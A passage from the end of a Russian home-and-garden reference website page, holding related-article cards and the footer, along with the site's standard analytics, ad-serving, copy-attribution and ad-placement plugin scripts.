class="attachment-reboot_small size-reboot_small wp-post-image" alt="deti para druzia 154578 1280x720" loading="lazy" title="через сколько часов наступает похмелье"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/cherez-skolko-chasov-nastupaet-pohmele.html">через сколько часов наступает похмелье</a></div><div class="post-card__description">Как долго будет длится похмелье, если запой продолжался</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">93</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/connection-failed-after-4-retries-kak-ispravit-tf2.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="lyubov nadpis risunok uzory 70165 1280x720" loading="lazy" title="connection failed after 4 retries как исправить tf2" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/lyubov_nadpis_risunok_uzory_70165_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/lyubov_nadpis_risunok_uzory_70165_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="lyubov nadpis risunok uzory 70165 1280x720" loading="lazy" title="connection failed after 4 retries как исправить tf2"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/connection-failed-after-4-retries-kak-ispravit-tf2.html">connection failed after 4 retries как исправить tf2</a></div><div class="post-card__description">Connection Failed After 4 Retries TF2 – быстрое решение</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">8</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/nvidia-geforce-parametry-ekrana.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="derevo pole trava 189022 1280x720" loading="lazy" title="nvidia geforce параметры экрана" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/derevo_pole_trava_189022_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/derevo_pole_trava_189022_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="derevo pole trava 189022 1280x720" loading="lazy" title="nvidia geforce параметры экрана"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/nvidia-geforce-parametry-ekrana.html">nvidia geforce параметры экрана</a></div><div class="post-card__description">Как настроить & что это DSR — Степень NVIDIA Технология</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">3</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/php-skanirovanie-qr-koda.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="kolca korobochki ukrasheniya razmytost 67606 1280x720" loading="lazy" title="php сканирование qr кода" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/kolca_korobochki_ukrasheniya_razmytost_67606_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/kolca_korobochki_ukrasheniya_razmytost_67606_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="kolca korobochki ukrasheniya razmytost 67606 1280x720" loading="lazy" title="php сканирование qr кода"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/php-skanirovanie-qr-koda.html">php сканирование qr кода</a></div><div class="post-card__description">Php сканирование qr кода Т.е у меня по сути такая же</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">3</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/avtotsentr-petrovskiy-belaya-dacha-kak-dobratsya.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="plyushevyj medved igrushka bliki 112459 1280x720" loading="lazy" title="Автоцентр петровский белая дача как добраться" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/plyushevyj_medved_igrushka_bliki_112459_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/plyushevyj_medved_igrushka_bliki_112459_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="plyushevyj medved igrushka bliki 112459 1280x720" loading="lazy" title="Автоцентр петровский белая дача как добраться"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/avtotsentr-petrovskiy-belaya-dacha-kak-dobratsya.html">Автоцентр петровский белая дача как добраться</a></div><div class="post-card__description">Петровский Автоцентр Белая Дача Renault Москва, 16-км</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">7</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/belevye-verevki-na-balkon-s-krepleniem-k-stene.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="lyubov para poceluy 82413 1280x720" loading="lazy" title="бельевые веревки на балкон с креплением к стене" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/lyubov_para_poceluy_82413_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/lyubov_para_poceluy_82413_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="lyubov para poceluy 82413 1280x720" loading="lazy" title="бельевые веревки на балкон с креплением к стене"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/belevye-verevki-na-balkon-s-krepleniem-k-stene.html">бельевые веревки на балкон с креплением к стене</a></div><div class="post-card__description">Выбираем настенные сушилки для белья на балкон Городским</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">4</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/v-kakom-sluchae-razreshaetsya-pristupat-k-rabote-na-gruzopodemnoy-mashine-upravlyaemoy-s-pola.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="pingviny para sneg 123063 1280x720" loading="lazy" title="в каком случае разрешается приступать к работе на грузоподъемной машине управляемой с пола" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/pingviny_para_sneg_123063_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/pingviny_para_sneg_123063_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="pingviny para sneg 123063 1280x720" loading="lazy" title="в каком случае разрешается приступать к работе на грузоподъемной машине управляемой с пола"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/v-kakom-sluchae-razreshaetsya-pristupat-k-rabote-na-gruzopodemnoy-mashine-upravlyaemoy-s-pola.html">в каком случае разрешается приступать к работе на грузоподъемной машине управляемой с пола</a></div><div class="post-card__description">В каком случае разрешается приступать к работе на грузоподъемной</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">3</span></div> </div> <div class="post-card post-card--related"> <div class="post-card__thumbnail"><a href="https://biznessrussia.ru/dom-i-dacha/vzyat-kredit-pod-zalog-kvartiry-v-moskve-srochno-s-plohoy.html"><img width="335" height="220" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20335%20220'%3E%3C/svg%3E" class="attachment-reboot_small size-reboot_small wp-post-image" alt="luna oblaka rozovyj 199717 1280x720" loading="lazy" title="Взять кредит под залог квартиры в москве срочно с плохой" data-lazy-src="https://biznessrussia.ru/wp-content/uploads/2021/04/luna_oblaka_rozovyj_199717_1280x720-335x220.jpg"><noscript><img width="335" height="220" src="https://biznessrussia.ru/wp-content/uploads/2021/04/luna_oblaka_rozovyj_199717_1280x720-335x220.jpg" class="attachment-reboot_small size-reboot_small wp-post-image" alt="luna oblaka rozovyj 199717 1280x720" loading="lazy" title="Взять кредит под залог квартиры в москве срочно с плохой"></noscript></a></div><div class="post-card__title"><a href="https://biznessrussia.ru/dom-i-dacha/vzyat-kredit-pod-zalog-kvartiry-v-moskve-srochno-s-plohoy.html">Взять кредит под залог квартиры в москве срочно с плохой</a></div><div class="post-card__description">Кредиты под залог квартиры в Москве На странице вы</div><div class="post-card__meta"><span class="post-card__comments">0</span><span class="post-card__views">5</span></div> </div> </div></div> </div> </div> <div class="site-footer-container "> <div class="footer-navigation full" itemscope itemtype="http://schema.org/SiteNavigationElement"> <div class="main-navigation-inner fixed"> <div class="menu-tehnicheskoe-menyu-container"><ul id="footer_menu" class="menu"><li id="menu-item-782" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-782"><a href="https://biznessrussia.ru/contact.html">О команде</a></li> <li id="menu-item-8" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-8"><a href="https://biznessrussia.ru/pravoobladatelyam.html">Правообладателям</a></li> <li id="menu-item-9" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-privacy-policy menu-item-9"><a href="https://biznessrussia.ru/politika-konfidentsialnosti.html">Политика конфиденциальности</a></li> <li id="menu-item-803" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-803"><a href="https://biznessrussia.ru/politika-ispolzovaniya-faylov-cookie.html">Политика использования файлов cookie</a></li> </ul></div> </div> </div> <footer id="colophon" class="site-footer site-footer--style-gray full"> <div class="site-footer-inner fixed"> <div class="footer-bottom"> <div class="footer-info"> © 2022 Справочник по обустройству дома и дачи. Все права сохранены. Внимание! Информация, опубликованная на сайте, носит исключительно ознакомительный характер и не является рекомендацией к применению. Материалы могут содержать информацию, предназначенную для пользователей старше 18 лет. 18+ </div> <div class="footer-counters"> <script type="text/javascript" > (function(m,e,t,r,i,k,a){m[i]=m[i]||function(){(m[i].a=m[i].a||[]).push(arguments)}; m[i].l=1*new Date();k=e.createElement(t),a=e.getElementsByTagName(t)[0],k.async=1,k.src=r,a.parentNode.insertBefore(k,a)}) (window, document, "script", "https://cdn.jsdelivr.net/npm/yandex-metrica-watch/tag.js", "ym"); ym(85567624, "init", { clickmap:true, trackLinks:true, accurateTrackBounce:true, webvisor:true }); </script> <noscript><div><img src="https://mc.yandex.ru/watch/85567624" style="position:absolute; left:-9999px;" alt=""/></div></noscript> </div></div> </div> </footer> </div> <button type="button" class="scrolltop js-scrolltop"></button> </div> <script>var pseudo_links = document.querySelectorAll(".pseudo-clearfy-link");for (var i=0;i<pseudo_links.length;i++ ) { pseudo_links[i].addEventListener("click", function(e){ window.open( e.target.getAttribute("data-uri") ); }); }</script><script>document.addEventListener("copy", (event) => {var pagelink = "\nИсточник: https://biznessrussia.ru/dom-i-dacha/shablon-sayta-php-prostoy.html";event.clipboardData.setData("text", document.getSelection() + pagelink);event.preventDefault();});</script> <script> if (getCookie('isInterstitialWatched') == undefined) { let adfoxId = 'adfox_1652688334388184'; let adfoxIntCallCode = function () { window.yaContextCb.push(() => { Ya.adfoxCode.createAdaptive({ ownerId: 389280, containerId: adfoxId, params: { pp: 'bscw', ps: 'fsku', p2: 'hquu' }, onLoad: function (data) { console.log(data); console.log('intestitial invoked'); }, onRender: function (data) { console.log(data); console.log('ads rendered'); adfinityInterstitialIsRendered = true; setCookie('isInterstitialWatched', 'true', {'max-age': 300}); }, onError: function (error) { console.log(error); console.log('server error') }, onStub: function () { console.log('Server return no ad'); } }, ['phone', 'tablet'], { phoneWidth: 768, tabletWidth: 1023 }) }); }; makeAdfinityInterstitial(adfoxIntCallCode, 'adfox_1652688334388184', 5, 5, true); } </script> <script> var r = (Math.random()*10000000000).toFixed(0); var s = document.createElement('script'); s.src = "//ads.betweendigital.com/sspmatch-js?p=42565&randsalt="+r; s.async = true; document.body.appendChild(s); </script><script type='text/javascript' id='reboot-scripts-js-extra'> /* <![CDATA[ */ var settings_array = {"rating_text_average":"\u0441\u0440\u0435\u0434\u043d\u0435\u0435","rating_text_from":"\u0438\u0437","lightbox_display":"1","sidebar_fixed":"1"}; var wps_ajax = {"url":"https:\/\/biznessrussia.ru\/wp-admin\/admin-ajax.php","nonce":"0e691f2e2c"}; /* ]]> */ </script> <script src='https://biznessrussia.ru/wp-content/themes/nebofon/assets/js/scripts.min.js' id='reboot-scripts-js'></script> <script type="text/javascript"> /*<![CDATA[*/ jQuery(document).ready(function($){ $('.link').replaceWith(function(){ var id = ( null != $(this).attr('id') ) ? ' id="' + $(this).attr('id') + '"' : '', target = ( null != $(this).attr('data-target') ) ? ' target="' + $(this).attr('data-target') + '"' : ' target="_blank"', title = ( null != $(this).attr('title') ) ? ' title="' + $(this).attr('title') + '"' : '', style = ( null != $(this).attr('style') ) ? ' style="' + $(this).attr('style') + '"' : '', rel = ( null != $(this).attr('data-rel') ) ? ' rel="' + $(this).attr('data-rel') + '"' : '', cl = ( null != $(this).attr('class') ) ? $(this).attr('class').replace('link','').trim() : ''; cl = ( '' != cl ) ? ' class="' + cl + '"' : ''; return '<a href="' + $(this).attr('data-link') + '" ' + title + id + cl + target + style + rel + ' >' + $(this).html() + '</a>'; }); }); /*]]>*/ </script> <ins id="adsense" class="adsbygoogle" data-tag="flat_pm" style="position:absolute;left:-9999px;top:-9999px">Adblock<br>detector</ins> <style> .fpm_5_modal{position:fixed;top:50%;left:50%;height:auto;z-index:-2000;visibility:hidden;backface-visibility:hidden;transform:translateX(-50%) translateY(-50%)} .fpm_5_modal-show{z-index:2000;visibility:visible} .fpm_5_modal-overlay{position:fixed;width:100%;height:100%;visibility:hidden;top:0;left:0;z-index:-1000;opacity:0;background:rgba(0,0,0,.55);transition:opacity .3s ease} .fpm_5_modal-show ~ .fpm_5_modal-overlay{z-index:1000;opacity:1;visibility:visible} .fpm_5_modal-content{background:#fff;position:relative;transform:translateY(30%);opacity:0;transition:all .3s ease;min-width:200px;min-height:100px} .fpm_5_modal-show .fpm_5_modal-content{transform:translateY(0);opacity:1} .fpm_5_modal .fpm_5_timer, .fpm_5_modal .fpm_5_cross{top:0!important} .fpm_5_cross{transition:box-shadow .2s ease;position:absolute;top:-0px;right:0;width:34px;height:34px;background:#000000;display:block;cursor:pointer;z-index:99;border:none;padding:0;min-width:0;min-height:0} .fpm_5_cross:hover{box-shadow:0 0 0 50px rgba(0,0,0,.2) inset} .fpm_5_cross:after, .fpm_5_cross:before{transition:transform .3s ease;content:'';display:block;position:absolute;top:0;left:0;right:0;bottom:0;width:calc(34px / 2);height:3px;background:#ffffff;transform-origin:center;transform:rotate(45deg);margin:auto} .fpm_5_cross:before{transform:rotate(-45deg)} .fpm_5_cross:hover:after{transform:rotate(225deg)} .fpm_5_cross:hover:before{transform:rotate(135deg)} .fpm_5_timer{position:absolute;top:-0px;right:0;padding:0 15px;color:#ffffff;background:#000000;line-height:34px;height:34px;text-align:center;font-size:14px;z-index:99} .fpm_5_timer span{font-size:16px;font-weight:600} .fpm_5_out{transition:transform .3s ease,opacity 0s ease;transition-delay:0s,.3s;position:fixed;min-width:250px;min-height:150px;z-index:9999;opacity:0;-webkit-backface-visibility:hidden} .fpm_5_out *{max-width:none!important} .fpm_5_out.top .fpm_5_cross{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_cross{bottom:-0px} .fpm_5_out.bottom .fpm_5_cross{top:150px} .fpm_5_out.show.bottom .fpm_5_cross{top:-0px} .fpm_5_out.right .fpm_5_cross{right:auto;left:0} .fpm_5_out.top .fpm_5_timer{top:auto;bottom:150px} .fpm_5_out.show.top .fpm_5_timer{bottom:-0px} .fpm_5_out.bottom .fpm_5_timer{top:150px} .fpm_5_out.show.bottom .fpm_5_timer{top:-0px} .fpm_5_out.right .fpm_5_timer{right:auto;left:0} .fpm_5_out.top{bottom:100%;left:50%;transform:translateY(0) translateX(-50%);padding-bottom:150px} .fpm_5_out.bottom{top:100%;left:50%;transform:translateY(0) translateX(-50%);padding-top:150px} .fpm_5_out.left{bottom:0;right:100%;transform:translateX(0);left:auto} .fpm_5_out.right{bottom:0;left:100%;transform:translateX(0);right:auto} .fpm_5_out.show{transition-delay:0s,0s;opacity:1;min-width:0;min-height:0;background:#fff} .fpm_5_out.closed{min-width:0;min-height:0} .fpm_5_out.show.top{transform:translateY(100%) translateX(-50%);padding-bottom:0px} .fpm_5_out.show.bottom{transform:translateY(-100%) translateX(-50%);padding-top:0px} .fpm_5_out.show.left{transform:translateX(100%)} .fpm_5_out.show.right{transform:translateX(-100%)} .flatpm_fixed{position:fixed;z-index:50} .flatpm_stop{position:relative;z-index:50} .fpm_5_video{position:relative;overflow:hidden;padding-bottom:56.25%;height:0} .fpm_5_video iframe{display:block;width:100%;height:100%;position:absolute} .fpm_5_video_flex{display:flex;align-items:center;justify-content:center;position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,.65);opacity:0;transition:opacity .35s ease} .fpm_5_video_flex.show{opacity:1} .fpm_5_video_item{position:relative;max-height:calc(100% - 68px);max-width:calc(100% - 68px);z-index:-1} .fpm_5_video_flex.show .fpm_5_video_item{z-index:1} .fpm_5_video_flex .fpm_5_timer, .fpm_5_video_flex .fpm_5_cross{top:10px!important;right:10px!important} .fpm_5_video_item_hover{position:absolute;top:0;left:0;right:0;bottom:0;width:100%;height:100%;cursor:pointer;z-index:2} </style> <script>var duplicateMode="undefined"!=typeof duplicateFlatPM&&duplicateFlatPM,untilscroll="undefined"!=typeof untilscrollFlatPM?untilscrollFlatPM:".flat_pm_end";document['wr'+'ite']=function(t){var e=document.createElement("div");ff(document.currentScript).after(e),flatPM_setHTML(e,t),ff(e).contents().unwrap()},window.flatPM_sticky=function(t,a,e){var l=t,d=null,s=e=e||0;function n(){if(null==d){for(var t=getComputedStyle(l,""),e="",n=0;n<t.length;n++)0!=t[n].indexOf("overflow")&&0!=t[n].indexOf("padding")&&0!=t[n].indexOf("border")&&0!=t[n].indexOf("outline")&&0!=t[n].indexOf("box-shadow")&&0!=t[n].indexOf("background")||(e+=t[n]+": "+t.getPropertyValue(t[n])+"; ");(d=document.createElement("div")).style.cssText=e+" box-sizing: border-box; width: "+l.offsetWidth+"px;",l.insertBefore(d,l.firstChild);for(var o=l.childNodes.length,n=1;n<o;n++)d.appendChild(l.childNodes[1]);l.style.padding="0",l.style.border="0"}l.style.height=d.getBoundingClientRect().height+"px";var r=l.getBoundingClientRect(),i=Math.round(r.top+d.getBoundingClientRect().height-a.getBoundingClientRect().bottom);r.top-s<=0?r.top-s<=i?(d.className="flatpm_stop",d.style.top=-i+"px"):(d.className="flatpm_fixed",d.style.top=s+"px"):(d.className="",d.style.top=""),window.addEventListener("resize",function(){l.children[0].style.width=getComputedStyle(l,"").width},!1)}window.addEventListener("scroll",n,!1),document.body.addEventListener("scroll",n,!1)},window.flatPM_addDays=function(t,e){var n=60*t.getTimezoneOffset()*1e3,o=t.getTime(),t=new Date;return o+=864e5*e,t.setTime(o),n!=(e=60*t.getTimezoneOffset()*1e3)&&(o+=e-n,t.setTime(o)),t},window.flatPM_adbDetect=function(){var t=document.querySelector('#adsense.adsbygo'+'ogle[data-tag="flat_pm"]');if(!t)return!0;t=t.currentStyle||window.getComputedStyle(t,null),t=parseInt(t.height);return!(!isNaN(t)&&0!=t)},window.flatPM_setCookie=function(t,e,n){var o,r=(n=n||{path:"/"}).expires;"number"==typeof r&&r&&((o=new Date).setTime(o.getTime()+1e3*r),r=n.expires=o),r&&r.toUTCString&&(n.expires=r.toUTCString());var i,a=t+"="+(e=encodeURIComponent(e));for(i in n){a+="; "+i;var l=n[i];!0!==l&&(a+="="+l)}document.cookie=a},window.flatPM_getCookie=function(n){var t=document.cookie.split("; ").reduce(function(t,e){e=e.split("=");return e[0]===n?decodeURIComponent(e[1]):t},"");return""!=t?t:void 0},window.flatPM_testCookie=function(){var t="test_56445";try{return localStorage.setItem(t,t),localStorage.removeItem(t),!0}catch(t){return!1}},window.flatPM_grep=function(t,n,o){return ff.grep(t,function(t,e){return o?e==n:(e+1)%n==0})},window.flatPM_randomString=function(t){for(var e="",n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz",o=n.length,r=0;r<t;r++)e+=n.charAt(Math.floor(Math.random()*o));return e},window.flatPM_random=function(t,e){return Math.floor(Math.random()*(e-t+1))+t},window.flatPM_sanitizeUrlParams=function(t){return t&&["__proto__","constructor","prototype"].includes(t.toLowerCase())?t.toUpperCase():t},window.flatPM_getAllUrlParams=function(t){var e={};if(!t||0==t.length)return e;t=(t=flatPM_sanitizeUrlParams(t))?t.split("?")[1]:window.location.search.slice(1);if(t)for(var n=(t=t.split("#")[0]).split("&"),o=0;o<n.length;o++){var r,i=n[o].split("="),a=i[0],l=void 0===i[1]||i[1],a=a.toLowerCase();"string"==typeof l&&(l=l.toLowerCase()),a.match(/\[(\d+)?\]$/)?(e[r=a.replace(/\[(\d+)?\]/,"")]||(e[r]=[]),a.match(/\[\d+\]$/)?(i=/\[(\d+)\]/.exec(a)[1],e[r][i]=l):e[r].push(l)):e[a]?(e[a]&&"string"==typeof e[a]&&(e[a]=[e[a]]),e[a].push(l)):e[a]=l}return e};var ff,flat_body,flat_stack_scripts=[],flat_pm_then=[],flat_date=new Date,flat_titles="h1,h2,h3,h4,h5,h6",flat_dateYear=flat_date.getFullYear(),flat_dateMonth=2==(flat_date.getMonth()+1+"").length?flat_date.getMonth()+1:"0"+(flat_date.getMonth()+1),flat_dateDay=2==(flat_date.getDate()+"").length?flat_date.getDate():"0"+flat_date.getDate(),flat_dateHours=2==(flat_date.getHours()+"").length?flat_date.getHours():"0"+flat_date.getHours(),flat_dateMinutes=2==(flat_date.getMinutes()+"").length?flat_date.getMinutes():"0"+flat_date.getMinutes(),flat_userVars={init:function(){this.testcook=flatPM_testCookie(),this.browser=this.searchString(this.dataBrowser)||!1,this.os=this.searchString(this.dataOS)||!1,this.referer=this.cookieReferer(),this.winwidth=window.innerWidth,this.date=flat_dateYear+"-"+flat_dateMonth+"-"+flat_dateDay,this.time=flat_dateHours+":"+flat_dateMinutes,this.adb=flatPM_adbDetect(),this.until=ff(".flat_pm_start").nextUntil(".flat_pm_end"),this.textlen=this.until.text().replace(/(\s)+/g,"").length,this.titlelen=this.until.find(flat_titles).add(this.until.siblings(flat_titles)).length,this.country=this.cookieData("country"),this.city=this.cookieData("city"),this.ccode=this.cookieData("ccode"),this.role=this.cookieData("role"),this.ip=this.cookieData("ip")},cookieReferer:function(){return parent!==window?"///:iframe":flat_userVars.testcook?(void 0===flatPM_getCookie("flat_r_mb")&&flatPM_setCookie("flat_r_mb",""!=document.referrer?document.referrer:"///:direct"),flatPM_getCookie("flat_r_mb")):""!=document.referrer?document.referrer:"///:direct"},cookieData:function(t){return flat_userVars.testcook&&void 0!==flatPM_getCookie("flat_"+t+"_mb")?flatPM_getCookie("flat_"+t+"_mb"):""},searchString:function(t){for(var e=t.length,o=0;o<e;o++){var a=t[o].str;if(a&&t[o].subStr.test(a))return t[o].id}},dataBrowser:[{str:navigator.userAgent,subStr:/OmniWeb/,ver:"OmniWeb/",id:"OmniWeb"},{str:navigator.userAgent,subStr:/YaBrowser/,id:"YaBrowser"},{str:navigator.vendor,subStr:/Apple/,id:"Safari",ver:"Version"},{str:navigator.userAgent,subStr:/OPR/,id:"Opera",ver:"Version"},{str:navigator.userAgent,subStr:/Firefox/,id:"Firefox"},{str:navigator.userAgent,subStr:/.NET CLR/,id:"Internet Explorer",ver:"MSIE"},{str:navigator.userAgent,subStr:/Edge/,id:"Edge",ver:"rv"},{str:navigator.vendor,subStr:/iCab/,id:"iCab"},{str:navigator.vendor,subStr:/KDE/,id:"Konqueror"},{str:navigator.vendor,subStr:/Camino/,id:"Camino"},{str:navigator.userAgent,subStr:/Netscape/,id:"Netscape"},{str:navigator.userAgent,subStr:/Chrome/,id:"Chrome"},{str:navigator.userAgent,subStr:/Mozilla/,id:"Netscape",ver:"Mozilla"}],dataOS:[{str:navigator.platform,subStr:/Win/,id:"Windows"},{str:navigator.platform,subStr:/Mac/,id:"Mac"},{str:navigator.platform,subStr:/(iPhone|iPad|iPod)/,id:"iPhone"},{str:navigator.platform,subStr:/Linux/,id:"Linux"}]};/zen.yandex/.test(flatPM_getAllUrlParams().utm_referrer)&&(flatPM_setCookie("flat_r_mb","zen.yandex"),flat_userVars.referer="zen.yandex"),window.flatPM_ajax=function(t,e){e=e||[],ff.ajax({type:"POST",url:ajaxUrlFlatPM,dataType:"json",data:{action:"flat_pm_ajax",data_me:{method:t,arr:e}},success:function(t){flat_body.removeClass(t.method),"block_geo_role_ip"===t.method?(flat_userVars.ccode=t.data.ccode,flat_userVars.country=t.data.country,flat_userVars.city=t.data.city,flat_userVars.ip=t.data.ip,flat_userVars.testcook&&(flatPM_setCookie("flat_ccode_mb",t.data.ccode),flatPM_setCookie("flat_country_mb",t.data.country),flatPM_setCookie("flat_city_mb",t.data.city),flatPM_setCookie("flat_ip_mb",t.data.ip),flatPM_setCookie("flat_role_mb",t.data.role)),flatPM_then()):(console.log("ajax error:"),console.error("Метод оказался ошибочным"))},error:function(){console.log("ajax error:"),console.error("Скрипт php вернул ошибку")}})},window.flatPM_then=function(){var t=flat_pm_then.length;if(0!=t){for(var e=0;e<t;e++){var o=flat_pm_then[e];flatPM_next(o)}0<flat_stack_scripts.length&&flatPM_setSCRIPT(flat_stack_scripts)}else flat_pm_then=[]},window.flatPM_persentWrapper=function(t,o,e){var a=0,r=!1;return t.each(function(){var t=ff(this),e=t.clone().find("img, ins, script, style, noscript").remove().end().text().replace(/(\s)+/g,"");if(a+=e.length,o<=a)return r=t,!1}),r},window.flatPM_setWrap=function(t){try{var e,o,a,r,i,l,s,f,n,d=document.createElement("div");d.setAttribute("data-flat-id",t.ID),void 0!==t.how.simple&&("1"==t.how.simple.position&&ff(".flat_pm_start").before(d),"2"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length/2)]).before(d),"3"==t.how.simple.position&&ff(".flat_pm_end").before(d),"4"==t.how.simple.position&&ff(flat_userVars.until[Math.round(flat_userVars.until.length*t.how.simple.fraction.split("/")[0]/t.how.simple.fraction.split("/")[1])]).before(d),"5"==t.how.simple.position&&t.how.simple.fraction<=flat_userVars.textlen&&(!1===(e=flatPM_persentWrapper(flat_userVars.until,t.how.simple.fraction,d))||e.next().is("[data-flat-id]")||e.after(d)),"6"==t.how.simple.position&&(d.setAttribute("data-flat-type","6"),r=flat_userVars.textlen/100*t.how.simple.fraction,e=flatPM_persentWrapper(flat_userVars.until,r,d),(o=!1)!==e&&(a=e.prevAll('[data-flat-type="6"]:first'),r=e.nextAll('[data-flat-type="6"]:first'),0!=a.length&&(console.log(e.prevUntil(a).text().replace(/(\s)+/g,"").length),e.prevUntil(a).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),0!=r.length&&(console.log(e.nextUntil(r).text().replace(/(\s)+/g,"").length),e.nextUntil(r).text().replace(/(\s)+/g,"").length<t.how.simple.interval&&(o=!0)),o||e.after(d)))),void 0!==t.how.onсe&&(i="true"==t.how.onсe.search_all?ff("html"):flat_userVars.until,l=t.how.onсe.N,s=t.how.onсe.selector,f=t.how.onсe.direction,n=t.how.onсe.before_after,0<(i=i.find(s).add(i.filter(s))).length&&(l="bottom_to_top"==f?i.length-l:l-1,"after"==n&&ff(flatPM_grep(i,l,1)).after(d),"before"==n&&ff(flatPM_grep(i,l,1)).before(d),"append"==n&&ff(flatPM_grep(i,l,1)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,1)).prepend(d))),void 0!==t.how.iterable&&(i="true"==t.how.iterable.search_all?ff("html"):flat_userVars.until,l=t.how.iterable.N,s=t.how.iterable.selector,f=t.how.iterable.direction,n=t.how.iterable.before_after,0<(i=i.find(s).add(i.filter(s))).length&&("bottom_to_top"==f&&(i=i.get().reverse()),"after"==n&&ff(flatPM_grep(i,l,0)).after(d),"before"==n&&ff(flatPM_grep(i,l,0)).before(d),"append"==n&&ff(flatPM_grep(i,l,0)).append(d),"prepend"==n&&ff(flatPM_grep(i,l,0)).prepend(d)))}catch(t){console.warn(t)}},window.flatPM_next=function(a){try{var t=[],e="",o=a.html.length;if(void 0!==a.ip&&"false"==flat_userVars.ip)return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.role&&(void 0!==a.role.role_enabled&&-1==a.role.role_enabled.indexOf(flat_userVars.role)||void 0!==a.role.role_disabled&&-1!=a.role.role_disabled.indexOf(flat_userVars.role)))return void ff('[data-flat-id="'+a.ID+'"]').remove();if(void 0!==a.geo&&(void 0!==a.geo.country_enabled&&-1==a.geo.country_enabled.indexOf(flat_userVars.country)&&-1==a.geo.country_enabled.indexOf(flat_userVars.ccode)||void 0!==a.geo.country_disabled&&(-1!=a.geo.country_disabled.indexOf(flat_userVars.country)||-1!=a.geo.country_disabled.indexOf(flat_userVars.ccode))||void 